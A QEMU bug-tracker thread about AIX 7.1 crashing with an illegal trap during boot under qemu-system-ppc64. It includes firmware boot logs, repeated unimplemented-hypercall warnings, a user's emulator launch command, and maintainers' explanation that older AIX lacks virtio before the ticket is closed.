+qemu-system-ppc64: warning: TCG doesn't support requested feature, cap-sbbc=workaround +qemu-system-ppc64: warning: TCG doesn't support requested feature, cap-ibs=workaround +qemu-system-ppc64: warning: TCG doesn't support requested feature, cap-ccf-assist=on +VNC server running on 127.0.0.1:5900 + + +SLOF ********************************************************************** +QEMU Starting + Build Date = Jul 17 2020 11:15:24 + FW Version = git-e18ddad8516ff2cf + Press "s" to enter Open Firmware. + +Populating /vdevice methods +Populating /vdevice/vty@71000000 +Populating /vdevice/nvram@71000001 +Populating /vdevice/l-lan@71000002 +Populating /vdevice/v-scsi@71000003 + SCSI: Looking for devices + 8200000000000000 CD-ROM : "QEMU QEMU CD-ROM 2.5+" +Populating /pci@800000020000000 + 00 0000 (D) : 1234 1111 qemu vga + 00 0800 (D) : 1033 0194 serial bus [ usb-xhci ] + 00 1000 (D) : 1af4 1004 virtio [ scsi ] +Populating /pci@800000020000000/scsi@2 + SCSI: Looking for devices + 100000000000000 DISK : "QEMU QEMU HARDDISK 2.5+" +Installing QEMU fb + + + +Scanning USB + XHCI: Initializing + USB Keyboard + USB mouse +No console specified using screen & keyboard + + Welcome to Open Firmware + + Copyright (c) 2004, 2017 IBM Corporation All rights reserved. + This program and the accompanying materials are made available + under the terms of the BSD License available at + http://www.opensource.org/licenses/bsd-license.php + + +Trying to load: from: /vdevice/v-scsi@71000003/disk@8200000000000000: ... Successfully loaded + +AIX + StarUnimplemented SPAPR hcall 0x00000000000000ec + +AIX Version 7.1 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Unimplemented SPAPR hcall 0x00000000000002b8 +Illegal Trap Instruction Interrupt in Kernel +05861AAC tweqi r0,0 r0=0 +KDB(0)> + + +I no longer work for IBM so I can't be sure, but I'm not aware of virtio support in AIX 7.1. + +As said in another comment, the "Unimplemented SPAPR hcall 0x00000000000002b8" trace reflects that QEMU doesn't implement PEM (Partition Energy Management) as described in section 14.14 of LoPAPR. +I can't tell if this causing the crash of the AIX kernel, but I'd suggest you try with AIX 7.2. + + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +Hello, + +I just wanted to confirm that this bug also affects me and that it also appears in qemu 6.0.0. + +When I try to boot up AIX 7.1 (and 6.1 as well), it prints the following line multiple times during boot: +Unimplemented SPAPR hcall 0x00000000000002b8 + +followed by crash: +Illegal Trap Instruction Interrupt in Kernel +05861AAC tweqi r0,0 r0=0 + + +I executed the following command to start qemu: +qemu-system-ppc64 -cpu POWER8 -machine pseries,max-cpu-compat=power7 -m 4096 -d unimp -serial stdio -drive file=hdisk0.qcow2,if=none,id=drive-virtio-disk0 -device virtio-scsi-pci,id=scsi -device scsi-hd,drive=drive-virtio-disk0 -cdrom /mnt/hgfs/Images/AIX7.1/install-1.iso -prom-env "boot-command=boot cdrom:" -prom-env "input-device=/vdevice/vty@71000000" -prom-env "output-device=/vdevice/vty@71000000" + +Since I am not the original author of this issue, I am not able to change its state to New again + +Sincerely +David + +The only AIX version that _might_ run with QEMU is 7.2. Older ones don't have virtio AFAIK. + + +Ok, so closing this ticket since AIX older than 7.2 cannot work. For AIX >= 7.2, we already have a different ticket opened instead: https://gitlab.com/qemu-project/qemu/-/issues/269 + +qemu-system-ppc64 should support AIX 5.3/6.1/7.1. If those OSes don't have virtio, then provide another way which simulates the machine's way to support the disk accessing. + |